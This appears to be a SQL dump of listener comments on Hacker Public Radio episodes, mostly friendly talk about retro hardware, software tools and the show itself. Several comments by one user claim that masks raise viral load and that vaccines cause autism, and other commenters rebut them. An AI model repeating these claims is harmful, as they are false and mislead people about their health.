(3287,3414,'2021-10-16 06:10:59','e8hffff','Common Sense','This is a perfect example of common-sense thrown out the window. A bane of the world today.  You should never dispose of common-sense and replace it with mathematics.  Mathematics, and when used is statistical pursuit, can only attempt to simulate scenarios from data supplied, or framed pictures of their very construction.  Common sense is science, that of observed commonalities and events, even if labelled as anecdotal(said in conversation, wives tales, etc).\r\n\r\nMasks are not advantageous as you are complicating a situation of natural body design, that of expelling toxins through the nose and hoping to breath in cleaner air.  Masks unquestionably increase viral/bacterial load. Therefore creating spreaders.  With the higher loads, comes elevate deaths and ailments, creating erroneous lethargy statistics for any said virus. That can result in political overreach/oversight as seen in CoVID19. The benefit of reducing virus particles with a mask is outweighed by the damages they cause.  Common sense.  No you don\'t need a PubMed article to comprehend that.  Also consider some people correctly breath though their filtering nose, and other incorrectly through their mouth.  Masks complicate breathing for those properly using nose, and espouse mouth use.\r\n\r\nOn weather seasons having an effect on viruses and contagion. You don\'t need to search for lab papers on cold weather and viruses susceptibility to disprove summer protections.  Common sense should tell you that viruses are naturally burnt out of the body via a \"temperature\".  Therefore Summer can only assist in raising the body\'s heat when infected, causing fast mitigation. This includes hot baths.  You would also easily say moisture assists in virus survivable in the environment, making cold moist weather a disadvantage health.\r\n\r\nAlso consider your stance is based on trust of politician and science workers and industry.  That is unquestionably a flawed stance.','2021-10-17 19:03:44'),
(3288,3442,'2021-10-16 06:23:21','e8hffff','The Pharmacist','Kingbeowulf. Polio was already being eradicated via hygiene measures.  Also Polio disabilities are also the symptoms of other affects, like radiation damage, which was a new technology of the era and people got exposed to high levels.  The Polio epidemic was caused by many factors.  The Polio vaccine is definitely not the cause out of that disease.  The modern spread of Polio has been via Polio vaccines.  Do the research.\r\n\r\nMeasles was never consider dangerous during it being common, with people getting natural immunity and creating a better scenario than current.  You\'ve probably heard of the Brady Bunch episode of having a measles party.  Well that was the go in that period.  People got it and got over it.  Near to zero issues and resulted in better outcomes of being naturally immune.\r\n\r\nVaccines are in themselves a danger and have caused many new conditions like Autism and SIDS, never experienced by most before 80\'s, before the vaccine regime.  1/54 births are now Autistic. Autism in communities that don\'t vaccinate are near to zero.','2021-10-17 19:03:44'),
(3289,3445,'2021-10-16 06:33:22','e8hffff','Common Sense','Consider that CoVID19 dangers are the Spike Protein, yet the CoVID19 vaccines create Spike Protein.  Therefore it\'s a question of scale of damage.  CovID19 vaccines/injections are inherently damaging.  Some getting anaphylaxic shock and death from the injections.','2021-10-17 19:03:44'),
(3290,3444,'2021-10-16 12:05:46','Dave Morriss','Great show!','Hi Nihilazo,\r\n\r\nThanks so much for doing the show, it was excellent.\r\n\r\nIt brought a tear to my eye to hear the story of my old Psion being so well appreciated and cared for!\r\n\r\nI worked for university IT department here in Edinburgh, and my boss bought these devices for all of the managers in the department. I used mine a lot over the years. Occasionally I\'d record audio on it, but more often I\'d write notes in meetings or use its calendar and contact application.\r\n\r\nI\'m pretty certain it can output documents to a printer using a built-in IR device. I had an monochrome HP LaserJet in my office which would accept documents over IR. It was really useful in this regard. No idea how you\'d do that these days - an IR device on a Raspberry Pi? Hmm...\r\n\r\nHope to hear more about your adventures with the Psion - and anything else \"of interest to hackers\" - in the future :-)\r\n\r\nDave','2021-10-17 19:03:45'),
(3291,3445,'2021-10-19 13:41:45','Kevin O\'Brien','Bravo!','As very good analysis that uses genuine critical thinking. One thing that I haven\'t seen anyone point out yet is that in the original show much is made of the idea that masks are not air-tight. Of course they aren\'t! If they were, people wearing them would die! I have worked in several hospitals in my career, and masks do a decent (not perfect) job of what they are intended to do. If I were being prepared for surgery and my surgeon said he would not wear a mask \"Because I don\'t believe in them,\" I would most certainly stop everything and get a better surgeon.','2021-10-19 20:02:03'),
(3292,3438,'2021-10-19 20:42:18','Linux4security','browser','Fulguris is a good one','2021-10-20 19:50:15'),
(3293,3445,'2021-10-20 12:58:11','Brian-in-ohio','risk','Good show. \r\nOne exception i\'ll take is that ALL Americans turn to Anthony Faucci for our information, is just not true, the man is flawed and so is his wife. \r\nThe only thing lacking in both podcasts is a discussion of risk analysis. ALL people have different levels of risk they are willing to take. Politicians and policy makers creating one size fits all solutions, like arbitrary social distancing dimensions, leads many people to become suspicious and consider riskier behaviour.  \r\nI do agree with the earlier comment about using I feel or I believe language. That tends to be opinion.','2021-10-21 23:06:18'),
(3294,3433,'2021-10-22 12:13:29','Ben','Reply to #4','Better late than never, I guess.\r\nThe source you give is questionable at best. As Bob pointed out, France doesn\'t have a age of consent, so the law actually added one, even thou it is defined weaker than in the US.\r\nAs for Germany: as I said, it already IS 14. And it won\'t change, because 14 is also the start of (limited) legal liability, and germans generally don\'t consider the idea of \"no sex until marriage\", and teenagers shouldn\'t have to go to jail for trying themselves out (Rape is a different story, because the lack of CONSENT).\r\nThere is no recent move, and no movement, and the cited attorney doesn\'t even exist, which should be a red flag, no matter the stories content!','2021-10-22 19:58:26'),
(3295,3445,'2021-10-30 10:44:21','Dave Morriss','Response to e8hffff, comment #3','In general viruses \"break in\" to cells in order to use their replication machinery to\r\nmake more viruses. In the case of SARS-CoV-2 the spike protein is the part of\r\nthe virus that is used to \"break in\". It\'s not dangerous in itself, it\'s part\r\nof the toolkit this virus uses to gain control of cells and make more viruses.\r\n\r\nIn order for the human immune system to fight against a foreign chemical or\r\n\"antigen\" (usually a protein of some kind since living things use proteins as\r\nbuilding blocks) it needs to be exposed to the antigen and build antibodies\r\n(and other immune responses). Many of the vaccines use methods of delivering\r\nor generating the spike protein in order to \"teach\" the immune system what to\r\nbe alert to. Some use \"killed\" viruses instead, but none of these are in use\r\nin the USA and Europe to my knowledge.\r\n\r\nSo, vaccines are not inherently damaging, as you state. They cause your \r\nimmune system to react, which is the point, and this can result in soreness\r\nat the injection site, fevers, aches, and similar symptoms. Yes, anaphylactic\r\nshock can result from an allergic reaction to the vaccine itself - as it can\r\nfrom peanuts, eggs, insect bites or seafood for example. In the UK, as I said in the show, we\r\nare asked to wait for 15 minutes after our vaccination in case such an\r\nallergic reaction is triggered, and there are medics nearby to deal with any\r\nsuch emergencies.','2021-10-30 13:51:41'),
(3296,3414,'2021-10-30 12:10:14','Dave Morriss','Response to e8hffff, comment #5','I assume you\'re commenting on show 3445, which is a response to this show 3414.\r\n\r\nYou are of the opinion that common sense outweighs the knowledge achieved through the scientific method. History seems to disagree. The \"common sense\" prior to the discovery of \"germs\" resulted in the death of many who would have survived if hand-washing had been more common, for example.  There are huge numbers of similar examples.\r\n\r\nYou make an assertion about masks, which I disagree with. You assert that your view outweighs the research we cited in show 3445 yet your only support for this is that you state it. This seems typical of the current trend to put forward opinion as superior to fact.\r\n\r\nYou mistake trust in the scientific method and the results that this method produces, in comparison to those who misrepresent this method and these results for their own agendas and profits. Agreed that many politicians, industrialists and even some dishonest scientists are known to do this. However, where human beings may sometimes be unreliable the properly conducted and peer reviewed scientific method is not.','2021-10-30 13:51:41'),
(3297,3445,'2021-10-30 13:01:59','Dave Morriss','Response to Brian-in-ohio, comment #5','From my point of view Dr Fauci is a skilled virologist and immunologist. I had heard him on virology podcasts long before COVID-19 and found him very impressive as a scientist and as a human being.\r\n\r\nYou refer to risk analysis, and you are right, we didn\'t deal much with this subject in our show. You write of the risk individuals are willing to take, and I often see this point being made. The point made less often is the risk each person poses to others. Unwillingness to avoid crowds, to consider physical distancing or contesting the need for a mask are stances taken in relation to the objector\'s risk. The risk to others seems to be disregarded or given very low priority.','2021-10-30 13:51:41'),
(3298,3414,'2021-10-30 13:17:33','bob','Arguments','Both e8hffff and CoGo are arguing like lads in a pub. Sure their arguments makes some sort of sense when you\'ve had a few pints. In the cold light of day you find yourself wondering just how drunk you were.\r\n\r\nOn those occasions I vowed - \"Never again\". Great advice to both.','2021-10-31 19:06:55'),
(3299,3454,'2021-10-31 11:04:54','Kevin O\'Brien','Odd word use','Do they really call exponents \"suffixes\" where you\'re from? I\'ve never heard that usage before.','2021-10-31 19:06:56'),
(3300,3454,'2021-11-02 09:08:04','Ken Fallon','suffixes','They probably don\'t but I did. The goal of this series is to communicate via audio the location of the symbol.\r\n\r\nAlthough looking at the definition it\'s not a bad word to use.\r\n\r\nhttps://www.thefreedictionary.com/Suffixes.htm\r\n\r\nSuffixes are morphemes (specific groups of letters with particular semantic meaning) that are added onto the end of root words to change their meaning. Suffixes are one of the two predominant kinds of affixes&mdash;the other kind is prefixes, which come at the beginning of a root word.','2021-11-02 23:03:15'),
(3301,2672,'2021-11-02 09:59:28','hhskladby','Porteus Modularity','Nice exposition, some things would need further / correct explanation also to klaatu (!), blame it on Porteus\' not-so-well own documentation, now and here only this what is VERY important (though not Porteus specific): Porteus\' XZM modules (as they are aufs / squashfs as in eg. Slax) do not \"overwrite\" anything on your machine, they interrupt your file system calls and make them believe that there are things that are not really there, so deactivating a module or restarting gives you an unchanged file system again, and if two programs conflict in shared resource file versions, you need not uninstall something, you just activate / deactivate modules - those modules may just be different versions of one library file, i.e. you can make a single file or a directory a module, and always your \"initial\" will not be corrupted by workarounds','2021-11-02 23:03:15'),
(3302,3454,'2021-11-04 01:25:38','Trey','Great reminder','Thanks, Ken.\r\n\r\nI have been using these prefixes for decades, and take them for granted.  Thanks for the reminder that this is not common knowledge.\r\n\r\nIt also reminds me of a question for which I have never found a good answer.  In North America, capacitance, is expressed in uF (micro Farads) or pF (pico Farads).  But nF (nano Farads) is not used. Instead you will see values like 10,000 pF or 0.01 uF.\r\n\r\nGo figure.','2021-11-04 21:10:55'),
(3303,2169,'2021-11-06 03:15:40','clacke','NickServ authentication','Things have happened with IRC since 2016. In 2020 Thaj Sara recorded HPR 3034 https://hackerpublicradio.org/eps.php?id=3034 as an update to this show, explaining how you can make Matrix authenticate your nick when it connects to IRC.','2022-02-14 13:25:17'),
(3304,3034,'2021-11-06 03:21:52','clacke','libera.chat','Most Freenode channels have since moved to libera.\r\n\r\nI\'ll make a show about why and a show about how to connect to libera, but here\'s the spoiler:\r\n\r\nhttps://kparal.wordpress.com/2021/06/01/connecting-to-libera-chat-through-matrix/\r\n\r\n - Instead of #freenode_#oggcastplanet:matrix.org use #oggcastplanet:libera.chat (yes, they have their own gateway!)\r\n - Instead of chatting with @appservice-irc:matrix.org to store your login and password, chat with @appservice:libera.chat','2021-11-06 19:25:09'),
(3305,3457,'2021-11-07 11:41:02','Jon Kulp','Tables and font sizes','I loved this episode, Klaatu. Somehow I find it really entertaining to hear all about the benefits and difficulties of tables and it\'s something I\'ve dealt with a good bit myself, but mostly in the context of eBook editing. In addition to the problems you mention, another one I find vexing is the impact of font sizes on tables. One of the best accessibility features of ebook formats and ebook readers is the user\'s option to change font size. When you\'re getting older like me and you typically increase the  font sizes, you find that tables rarely survive the change unless you\'re on a big screen like a tablet. I will try almost any option to avoid making a table in one of my own ebook edits because it\'s too hard to predict screen size and font preferences. Lists will usually do the trick, just as you proposed in your episode. Now I wanna go take a look at your ebook...','2021-11-07 19:00:51'),
(3306,3461,'2021-11-08 01:54:16','Mike eSpeak Ray','TTS','I made a small error in my comment to the subject about branding. I said the bit between TTS and raucaus music was an advert for AHH, but of course it is for archive.org.\r\n\r\nNow, I like the TTS. It gives me the chance to decide early whether to carry on listening, or press delete and go to sleep.\r\n\r\nBut the current TTS engine/settings used are boring. She sounds like a woman who has been awake for a week continuously. No prosody, no intonation. eSpeak is much better IMHO.\r\n\r\nIt could also speak faster for me personally, a lot faster.\r\n\r\nBut I know all you photon-dependent types won\'t agree ;-)','2021-11-08 21:12:39'),
(3307,3464,'2021-11-11 21:57:47','brian-in-ohio','a serendipitous quote','As i was enjoying the show i logged into my new (to me) arm based running laptop (show coming) running slackware and my fortune said \"I have hardly known a mathematician who was capable of reasoning\" Plato.','2021-11-11 23:25:50'),
(3308,3465,'2021-11-12 22:15:13','PipeManMusic','Real numbers to an off hand comment.','I\'m always of two minds on low cost tech when I see it, it\'s can be a burden on one side of the economic ladder and a boon for another. I usually fall on the side of access to technology can provide a net good. I do however feel compelled to point out Mississippi has the highest deaths per 1 million people in the United States.','2021-11-12 22:45:23'),
(3309,3466,'2021-11-15 16:49:20','Ken Fallon','On the rise again','Just checked the last quarter and there has been a recovery of subscribers up 11,000 to prelockdown levels. This I suspect was triggered by the return to work and loosing of restrictions.\r\n\r\nAs winter hits the Northern Hemisphere  and another wave approaches, I predict a falling of numbers again.','2021-11-16 19:28:50'),
(3310,3457,'2021-11-17 15:24:29','Gumnos','Storing data in recsel format?','I\'m not sure if you\'ve encountered GNU recutils before\r\n\r\nhttps://www.gnu.org/software/recutils/\r\n\r\nbut it\'s a nice flat-file way of storing &amp; querying data in a format similar to what you described.  It\'s fairly easy to convert to CSV or other tabular format.  It plays nicely with version-control, making it easier to tell when a \"column\" (really a row in a group) has been edited because the diff just shows that one \"cell\" rather than a whole CSV line being modified.\r\n\r\nIt\'s also pretty flexible when it comes to omitted or duplicate fields.  I\'ve taken to storing our household address book in this format and then transforming it into other formats as needed.','2021-11-17 21:38:02'),
(3311,3470,'2021-11-19 16:50:45','Trey','Oh what happy memories','Thank you for bringing back memories from early in my computer career.  I still have a MSDOS 3.31 Emergency boot disk (Because it was the first to support hard drive partitions above 33MB).  For the longest time, I kept it in the very front of my floppy disk case.  But when I finally tossed all the old PC floppies, I relocated it to the esteemed location of stuck to the refrigerator door with a magnet.\r\n\r\nLikely won\'t boot anymore, but still brings back memories.\r\n\r\nKeep up the good work!','2021-11-19 19:08:48'),
(3312,3470,'2021-11-19 22:12:52','Kevin O\'Brien','You are most welcome','I\'m glad you enjoyed it. There are more in the pipeline, but once they are done there won\'t be any more in this series. I wrote these 20-something years ago, and I still get happy users who find them on my Web site.','2021-11-20 19:26:21'),
(3313,3471,'2021-11-22 14:32:18','Trey','Capacitors','Thank you for sharing.  Tinkering with vintage electronics (Wait!  Referring to the Walkman as \"vintage\" makes me feel really old.) is loads of fun.  Do you find the need to replace capacitors in equipment of this era?  I have noticed with various radio gear of similar age the capacitors have drifted far from spec.\r\n\r\nKeep up the awesome podcasts!','2021-11-22 22:35:52'),
(3314,3471,'2021-11-23 13:05:23','Keith','They really are great devices','Thanks for making this, I do remember getting one back in the early 80\'s, however that is no longer around, shame I threw it out many years ago now.\r\n\r\nI\'m going to get out my Dad\'s Walkman on the weekend though and see if it still runs. I kept his Walkman WM-F2015 https://www.radiomuseum.org/r/sony_walkman_fmam_stereo_cassette_player_wm_f2015.html as I knew it was special hopefully it still runs, if not I will fix it!','2021-11-24 07:28:26'),
(3315,3471,'2021-11-23 19:49:25','Jon Kulp','Recapping','Thanks for the comment, Trey. Yes, the Walkman is vintage nowadays and we\'re in the same boat old-age-wise. I have a couple of things that could probably benefit from being recapped, but I\'ve never gotten into the weeds that far yet. One of these days when I\'ve got some time in front of me, I would like to replace the capacitors in my Pioneer reel-to-reel tape deck. I feel like this would probably help with the weak left channel. No time right now, though.','2021-11-24 07:28:26'),
(3316,3473,'2021-11-24 01:06:54','Trey','Congrats','Congrats on earning your amateur radio license.  It is always interesting to learn some of the differences between operations in different countries.  For example, here in the USA, it is generally frowned upon to call \"CQ\" on the 10M and 70cm bands as these are littered with repeaters.  We often simply transmit our call sign.\r\n\r\nI look forward to additional amateur radio episodes, and am planning to post one about my Go Box build, assuming I ever get out of the planning phase and into the building phase.\r\n\r\n73','2021-11-24 20:59:36'),
(3317,3485,'2021-11-24 15:52:56','monochromec','The show','Great show - this of course is an ugly mirror showing exactly how time flies and how we have been getting old ever since...','2021-11-24 20:59:36'),
(3318,3472,'2021-11-27 11:59:41','Kevin O\'Brien','I loved the show','I think this is a perfect example of hacking. Fantastic!','2021-11-27 19:11:13'),
(3319,3474,'2021-11-27 12:19:46','Ken Fallon','No please don\'t add silence to the audio','Hi All,\r\n\r\nIt is a great idea to record a piece of silence to use as a \"Noise profile\" for using with the \"Effect &gt; Noise Reduction\" feature in Audacity. However please do this *before* you upload it to HPR. \r\n\r\nIt is opening a can of worms to ask hosts to submit this before having a process in place to deal with it. If we learned anything from is it included or not Intro Outro thing, is that everyone will do their own thing. Will the silence be at the beginning or the end ? What if it\'s in the middle ? Was the silence intentional ? Will truncate silence work ? \r\n\r\nSo great idea for a host but please, please, please do not do this.','2021-11-27 19:11:13'),
(3320,3459,'2021-11-29 15:37:08','Oliver','TerminusDB Link','Hey,\r\nI see you have a link to one of our blogs here and I\'m just writing to let you know that we\'ve changed URLs so wondered if you could change:\r\n\r\nhttps://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb\r\n\r\nto\r\n\r\nhttps://terminusdb.com/blog/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb/\r\n\r\nThanks,\r\nOliver','2021-11-30 20:59:09'),
(3321,3478,'2021-12-01 03:27:16','Trey','I am sure the Audio/Video department loves you','Thanks for sharing this great little hack.  It may have a negative impact on the impedance matching for this audio input channel, but it shouldn\'t be overtly noticeable when listening.\r\nThanks, again, for sharing.','2021-12-01 23:01:27'),
(3322,3473,'2021-12-02 13:38:33','Trey','UGH!  Correction.','I just glanced at my comment and realized I meant 2M (meter) bands instead of 10M (meter) bands.','2021-12-02 19:20:28'),
(3323,3479,'2021-12-02 19:43:35','Trey','Thanks for sharing.','I have been managing versions of configuration files locally on my system, and you have inspired me to try to use GitHub instead.\r\n\r\nWe shall see how it goes.\r\n\r\nKeep up the awesome work.','2021-12-02 20:40:41'),
(3324,3493,'2021-12-04 23:43:11','DNT','Great episode','Thanks for the podcast recommendation, great name for it too!','2021-12-05 21:24:43'),
(3325,3474,'2021-12-06 22:02:50','Operat0r','replace Ken Fallon with a script','\"Cannot be automated!!!?!??!\" Ooohhhhhh Shame !!! Alexa? Siri? Neural networks?? Everything can (and will....) be automated! I would start with detection of \"notes\" similar how singing autotune can make people almost sound like they can sing. Where the audio is checked for n length of music .. id it\'s near the beginning and matches the intro music by n% then they included the intro and if the notes don\'t match maybe it\'s some other \"music\" or \"singing\" ? Same for outro. \r\n\r\nTHE ONLY LIMIT IS YOURSELF!\r\n\r\nhttps://www.zombo.com/\r\n\r\n**Struck a nerve there** &lt;3\r\n\r\nYou make a good point about messing with people\'s audio.\r\n\r\nI imagine a fully automated system that will manage at least 75% of uploads ;)\r\n\r\nWhat if you only had to answer one question?\r\n\r\nChoose an option:\r\n\r\n1) Let HPR edit your audio:\r\n- remove noise\r\n- detect presence intro\r\n- detect presence outro\r\n- ???\r\n\r\n2) do not edit my audio','2021-12-06 22:05:45'),
(3326,3474,'2021-12-07 12:19:28','Ken Fallon','Thanks for Volunteering','Hi Operat0r,\r\n\r\nThanks for volunteering to do this. Once we have the script up and running then we can announce it to the general population.\r\n\r\nKen','2021-12-07 20:52:53'),
(3327,3474,'2021-12-10 00:50:25','Operat0r','fun','Yah. I caught the Spanish episode and thought I could try a rough translation to English with the script I wrote to speech to text \"any\" media.\r\n\r\nhttps://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh\r\n\r\nDetection of standard HPR intro should be possible and if I\'m lucky I can detect any non standard like humming etc but I only ever done basic darknet training with images.','2021-12-10 20:42:47'),
(3328,3292,'2021-12-18 22:03:46','dodddummy','Where\'s the thumbs down button?','What are you talking about?  You seem to think that if a distro removes an application they hate it can call them names.  Part of making a distro is adjusting the curate application list.\r\n\r\nIt never occurred to me that HPR should have a thumbs down button until I listened to this piece of work.','2021-12-19 19:05:12'),
(3329,3394,'2021-12-22 18:54:26','dnt','I consulted this episode this week','When I listened to \"We need to talk about XML\", I nodded in agreement. Working in localization there\'s a lot of XLIFF, so I have learned to appreciate it. This week I had a chance to use xmlstarlet at work, so I came back and had another listen to this. There was some trouble figuring out the deal with XML namespaces, I found that in xmlstarlet you can use //_:node where the underscore stands for the default namespace. For now, this just worked, but I do need to learn more about namespaces. Thanks again!','2021-12-23 10:43:25'),
(3330,3495,'2021-12-24 14:31:31','Trey','Great recommendation','Thanks for the recommendation. I listened and it was a great dive into one of my favorite Christmas films of all time.','2021-12-24 22:42:23'),
(3331,3493,'2021-12-25 03:18:57','Oyente#1','Gracias','Muy bueno tu podcast y hablas espa&ntilde;ol, perd&oacute;n, castellano muy bien! \r\nSaludos desde Puerto Rico.','2021-12-25 23:21:01'),
(3332,3482,'2021-12-30 00:09:50','Windigo','Fascinating subject','This is a stellar first episode. Harvested electronic components, robotics on the cheap... made for the apocalypse, but fun beforehand as well!\r\n\r\nThank you for the additional video links; I\'m glad I was able to see these robots in action.\r\n\r\nI\'m looking forward to future shows in this series!','2021-12-30 13:16:53'),
(3333,3496,'2021-12-30 13:15:13','Dave Morriss','Great show','A very interesting approach to recording HPR shows. Not a method that ever occurred to me - but that\'s what HPR is all about :-)\r\n\r\nGreat to hear your comments about MrGadgets. He was an HPR stalwart for many years, and I for one miss his contributions. I was listening to some of his shows while working on the tag project and it was great to hear him.','2021-12-30 13:16:53'),
(3334,3504,'2022-01-06 21:50:00','dnt','Mission control','Great broadcast! \"That\'s the main engine I think, and that\'s the booster. Wow! And there it goes, goodness me!\" is one of those audio clips that we will hear for generations to come. And I suspect many of the same phrases were heard at mission control that day, such as \"I don\'t fully understand how [Lagrange point] works\" and \"You want to do that otherwise you end up with a rather wishy-washy bit of turkey, don\'t you?\"','2022-01-06 21:55:43'),
(3335,3485,'2022-01-07 12:44:28','wynaut','thanks great show','agree with prev comment, listener who just turned 51 :)','2022-01-07 20:22:37'),
(3336,3496,'2022-01-09 16:24:54','Reto','a good idea','Hi,\r\nThank you for this program and the introduction as a podcast.\r\n\r\nI just downloaded the .zip from GitLab and while trying the commands, I realize a section with dependencies is missing. I think pip is too large, so, I usually do run it in an virtualenv.\r\nIn other Phython projects like here: https://github.com/jonaswinkler/paperless-ng/blob/master/requirements.txt you find a requirements.txt. I was wondering if you add one too?\r\n\r\nBr,\r\nReto','2022-01-09 20:19:26'),
(3337,3498,'2022-01-09 19:37:21','operat0r','Love this show','reminds me a little bit of udev random  podcast. this one had a lot of laughs! You guys are my friends for now. Mine won\'t do anything.. Holidays  are hard for some/most people. Shooting the shit and ranting are my fav podcast eps!\r\n\r\nTake care of yourselves! your the only U you have!','2022-01-09 20:19:26'),
(3338,3505,'2022-01-11 04:02:01','baffled','Nice show!','Hi Ken and Beni: It was a great show thank you. Things have sure changed since I got my ticket. I\'m looking forward to future episodes in this series.','2022-01-11 20:31:52'),
(3339,3510,'2022-01-17 07:59:16','tuturto','This brought some memories','This was fun to listen to and remember how my first PC was hand me down IBM 088 that I got from a local metal shop. It had whopping 640kb of memory and two floppy drives (no hard drive at all). There were no fancy graphical user interface or anything, all interaction was on text mode with keyboard.','2022-01-17 21:00:02'),
(3340,3322,'2022-01-21 21:13:55','Windigo','Lost udev episode','I was surprised to hear you say you\'ve never done an episode on udev, because I distinctly remember that episode! You were discussing creating your own udev rules to automatically run tasks upon inserting a USB drive.\r\n\r\nIt may be that you\'ve never done an episode on HPR about it; I can\'t find it for the life of me.\r\n\r\nEither way, thank you - as always - for the excellent episode. :)','2022-01-21 21:21:50'),
(3341,3517,'2022-01-25 23:05:07','Jesse','Monty Mint phone','Did your Monty Mint phone ever come in? I remember you mentioned it on a previous episode. Would love to hear your experience with the phone.','2022-01-25 23:17:33'),
(3342,3516,'2022-01-26 02:48:49','Janedoc','empathize with you','Dear Operator, I prescribe the medicines you discuss. It is a big ol\' pain for doctors too. The law changed in 2021 that you\'re not supposed to fill controlled substances with a paper prescription, only electronic.  I see my ADHD patients every 3 months. The patients call my office every 30 days in between for a refill and the refill is done electronically from my desk. My patients don\'t have the problems you do. There should be a 5 day leeway (before your rx runs out). I use Good rx for my own family\'s prescriptions.  It makes a big cost difference and I do not know how Good rx work either. In order for the controlled substances act to change it will take an act of congress, so contact your congress member.','2022-01-26 22:48:41'),
(3343,3504,'2022-02-03 12:08:51','clacke','How L2 works','I attempted an explanation of how L2 orbit works over at https://libranet.de/display/0b6b25a8-1861-f16a-5504-65e089452108 but I\'ll repeat it in brief.\r\n\r\nYou can orbit L2 because Earth pulls you. The Y component of the pull keeps you in orbit around L2 and the X component cancels out with your centrifugal force from orbiting the Sun \"too fast\".\r\n\r\nThere is also a proper and deeper explanation:\r\n\r\nLaunch Pad Astronomy: How James Webb Orbits \'Nothing\'\r\n\r\nhttps://farside.link/invidious/watch?v=ybn8-_QV8Tg\r\n\r\nhttps://www.youtube.com/watch?v=ybn8-_QV8Tg','2022-02-04 11:44:31'),
(3344,3504,'2022-02-03 12:14:37','clacke','Re: centrifugal force','As for whether the centrifugal force is real or not I will forever refer to https://xkcd.com/123/ .\r\n\r\nForces aren\'t real anyway!','2022-02-04 11:44:31'),
(3345,3525,'2022-02-04 22:39:28','Xoke','Multiple words in a row','I was talking about the horse and cart sign, and the guy that made it left too much space between \'horse\' and \'and\', and \'and\' and cart...\r\n\r\nAnd the completely contrived one about \'had\', where someone doing a test used \'had\', someone else used \'had had\', however the examiner preferred \'had had\'.\r\n\r\nSmith, where Jones had had \"had,\" had had \"had had\"; \"had had\" had had the examiners approval','2022-02-04 22:44:08'),
(3346,3286,'2022-02-05 11:10:41','Ken Fallon','Thanks again','Just used that again','2022-02-05 20:07:33'),
(3347,3289,'2022-02-05 11:12:43','Ken Fallon','Wasting shows','Each of these could have been its own show','2022-02-05 20:07:33'),
(3348,2881,'2022-02-08 15:46:26','Ken Fallon','I knew I heard how to do this somewhere','A bit surprised to find it was myself that did the show. Is HPR my archive memory module ?','2022-02-08 18:33:57'),
(3349,3525,'2022-02-08 18:32:12','Dave Morriss','Where Jones had had \"had\" ...','Hi Xoke,\r\n\r\nThanks for the comment.\r\n\r\nThe \'had had\' things were a favourite of my late father, so they were instilled into my brain from an early age. It was great to be reminded of them, thanks :-)\r\n\r\nDave','2022-02-08 18:33:57'),
(3350,3538,'2022-02-08 19:44:27','Ken Fallon','How to run it','flatpak run org.tenacityaudio.Tenacity','2022-02-08 19:48:21'),
(3351,3525,'2022-02-10 03:23:59','dnt','processes','Now I think we\'re seeing some people take the plurals like crises into any plural word that ends in -es, so we\'re hearing people say \"processees\". Start talking about processees and I stop listening.','2022-02-10 19:28:07'),
(3352,3525,'2022-02-10 22:21:57','wynaut','thanks!','I learnt something new here, will listen to the other episodes in this series too.','2022-02-10 23:37:11'),
(3353,3525,'2022-02-11 10:22:12','Dave Morriss','Re: processes','Hi dnt,\r\n\r\nI am also reluctant to listen to people floundering about with these apparently random singulars and plurals. After all there are some amazingly good resources on the internet that explain unusual words and where they came from.\r\n\r\nHowever, I suppose you need some sort of incentive to look.\r\n\r\nDave','2022-02-11 20:27:19'),
(3354,3525,'2022-02-11 10:26:08','Dave Morriss','Hope you find the episodes useful, wynaut','Hi,\r\n\r\nThanks for the comment. I hope you find the whole set of episodes useful.\r\n\r\nDave','2022-02-11 20:27:20'),
(3355,3315,'2022-02-13 14:56:47','Ken Fallon','Yet another one','Load memory ....','2022-02-13 20:51:47'),
(3356,3286,'2022-02-13 17:25:47','timttmy','Me too!','Glad at least two of us find it useful.\r\nJust setting up a new (to me) gen 2 thinkpad x1 yoga and needed to remind myself how to create client keys :)','2022-02-13 20:51:47'),
(3491,3644,'2022-07-16 10:23:47','Archer72','Pinball machines and English','That was interesting.  I remember working at a place that assembled the lighting backplanes for these machines.  I would get to play on the machines at lunch.  Two of the memorable ones were Star Wars, The Adams Family and Last Action Hero.\r\n\r\nOh, and your English is just fine, and you might find Dave Morris\' series on English idiosyncrasies  a good listen, starting with \r\nhpr2558 :: Battling with English - part 1','2022-07-16 18:35:37'),
(3357,3527,'2022-02-15 18:41:04','Windigo','PATA and Netbooks','My Dell Mini 9 has the same PATA interface, so it seems like it was all the rage during the netbook days.\r\n\r\nBetween that and 32-bit Atom processors, I\'m afraid mine is reaching the limit of its usefulness. Mine\'s relegated to console and framebuffer apps. Kudos on getting yours running Chromium!','2022-02-15 19:34:23'),
(3358,3533,'2022-02-16 07:55:18','tuturto','interesting','Porridge is one of those things that many people probably find very mundane. But when you start digging into details, you\'ll discover a lot of interesting tidbits. Like what kind of grains are for animals and what are for humans varies from culture to culture and from time period to other.','2022-02-16 20:01:18'),
(3359,3533,'2022-02-16 15:10:20','Trey','Steel Cut Oats','Thank you for sharing.  I absolutely LOVE steel cut oats.  Much better than rolled, IMHO.\r\n\r\nLooking forward to your next podcast topic.','2022-02-16 20:01:19'),
(3360,3531,'2022-02-16 15:14:26','Trey','Old school KVMs','Thank you for sharing.  I remember taking apart old, mechanical KVM switches to clean the contacts for more reliable operation. \r\nI still have several electronic KVMs floating around, but haven\'s had the need in quite some time.  I definitely need to look into using Barrier.\r\n\r\nKeep up the great work.','2022-02-16 20:01:19'),
(3361,3526,'2022-02-16 15:19:05','Trey','Comments','It was sad that there were no comments on the December Community  News episode, so I had to leave a comment for this one.\r\n\r\nYou all do an amazing job ensuring that every podcast for the month receives discussion.  As a (infrequent) HPR contributor, I enjoy comments on my podcasts and hearing your thoughts.  Surely others feel the same.\r\n\r\nKeep up the great work!','2022-02-16 20:01:19'),
(3362,3533,'2022-02-16 15:32:48','Dave Morriss','Great show topic, excellent show','Hi,\r\n\r\nI was listening to this while making porridge for my breakfast. I have some steel cut oats - I live in Scotland after all - but I tend to prefer rolled oats, probably because it\'s what I was brought up on (in England mind you). In Scotland steel cut oats are called pin head oatmeal.\r\n\r\nMy porridge gets salt and a teaspoon of honey. I\'m diabetic so I avoid sugar, but only recently found that honey has a low glycaemic index (about 50 probably) so is not going to give me a sugar high like sugar would - at least not a teaspoon of it!\r\n\r\nI used to visit the Far East each year many years ago, and I became quite keen on rice porridge - congee. It\'s very bland but is eaten with lots of added stuff like pickles and roasted peanuts, and was pretty good for breakfast.\r\n\r\nGreat show. I enjoyed the ambient sound aspects a lot.\r\n','2022-02-16 12:09:46'),
